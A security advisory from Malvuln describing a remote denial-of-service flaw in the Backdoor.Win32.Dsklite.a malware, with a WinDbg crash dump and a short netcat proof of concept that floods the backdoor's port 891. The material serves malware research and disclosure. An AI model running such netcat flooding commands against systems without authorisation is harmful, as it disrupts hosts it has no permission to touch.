Backdoor.Win32.Dsklite.a / Remote Denial of Service

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Dsklite.a
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP ports 890, 891. Third-party
attackers who can reach an infected system can connect to port 890, this
will in turn open the vuln port 891. Attackers can then send a large
payload to DOS the backdoor malware.
Type: PE32
MD5: 6c9665de78ae60a8e057d2c9cdb91596
Vuln ID: MVID-2022-0444
Dropped files: winlogon.exe
Disclosure: 01/05/2022

Memory Dump:
(1628.10d4): Unknown exception - code c000008f (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=00000003
edi=00000003
eip=773ced3c esp=0019f238 ebp=0019f3c8 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h

0:000> .ecxr
eax=0019fb38 ebx=00412a90 ecx=00000002 edx=00000000 esi=0019fc1c
edi=02549f28
eip=767508f2 esp=0019fb38 ebp=0019fb94 iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000212
KERNELBASE!RaiseException+0x62:
767508f2 8b4c2454        mov     ecx,dword ptr [esp+54h]
ss:002b:0019fb8c=6b57a7b6
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
msvbvm60.dll -

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** ERROR: Module load completed but symbols could not be loaded for
winlogon.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
KERNELBASE!RaiseException+62
767508f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 767508f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: c000008f
  ExceptionFlags: 00000001
NumberParameters: 2
   Parameter[0]: deadcafe
   Parameter[1]: deadcafe

PROCESS_NAME:  winlogon.exe

ERROR_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION}  Floating-point inexact
result.

EXCEPTION_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION}  Floating-point inexact
result.

EXCEPTION_PARAMETER1:  deadcafe

EXCEPTION_PARAMETER2:  deadcafe

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000010d4

DEFAULT_BUCKET_ID:  STATUS_FLOAT_INEXACT_RESULT

PRIMARY_PROBLEM_CLASS:  STATUS_FLOAT_INEXACT_RESULT

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT

LAST_CONTROL_TRANSFER:  from 660d0dcf to 767508f2

STACK_TEXT:
0019fb94 660d0dcf c000008f 00000001 00000002 KERNELBASE!RaiseException+0x62
WARNING: Stack unwind information not available. Following frames may be
wrong.
0019fbb4 66101d44 00000000 00000000 00000002
msvbvm60!EbGetHandleOfExecutingProject+0x22b3
0019fca0 764ee0bb 00419054 016106bc 0000c280 msvbvm60!ProcCallEngine+0x4ce7
0019fcd0 764f8849 004043b4 016106bc 0000c280
user32!_InternalCallWinProc+0x2b
0019fcf4 764fb145 0000c280 000002e4 00000001 user32!InternalCallWinProc+0x20
0019fdc4 764e90dc 004043b4 00000000 0000c280
user32!UserCallWinProcCheckWow+0x1be
0019fe30 764e38c0 0019fe78 6600a6c8 0019fe50
user32!DispatchMessageWorker+0x4ac
0019fe38 6600a6c8 0019fe50 ffffffff 04071e54 user32!DispatchMessageA+0x10
0019fe78 6600a63f ffffffff 04071e7c 04070000 msvbvm60!_vbaStrToAnsi+0x2f1
0019febc 6600a51d 04071f4c ffffffff 00001628 msvbvm60!_vbaStrToAnsi+0x268
0019fed8 6600a4e8 04071e78 04071f4c ffffffff msvbvm60!_vbaStrToAnsi+0x146
0019fefc 66003644 ffffffff 00401224 00401224 msvbvm60!_vbaStrToAnsi+0x111
003b6000 ffffffff 00400000 77477be0 02541878 msvbvm60!ThunRTMain+0xa0
00000000 00000000 00000000 00000000 00000000 0xffffffff


FOLLOWUP_IP:
user32!_InternalCallWinProc+2b
764ee0bb 648025ca0f0000fe and     byte ptr fs:[0FCAh],0FEh

SYMBOL_STACK_INDEX:  3

SYMBOL_NAME:  user32!_InternalCallWinProc+2b

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: user32

IMAGE_NAME:  user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:
 STATUS_FLOAT_INEXACT_RESULT_c000008f_user32.dll!_InternalCallWinProc

BUCKET_ID:
 APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT_user32!_InternalCallWinProc+2b


Exploit/PoC:
1) connect to port 890 to open vuln port 891
nc64.exe x.x.x.x 890

2) send large packet to trigger DOS
python -c "print('A'*2000)" | nc64.exe x.x.x.x 891

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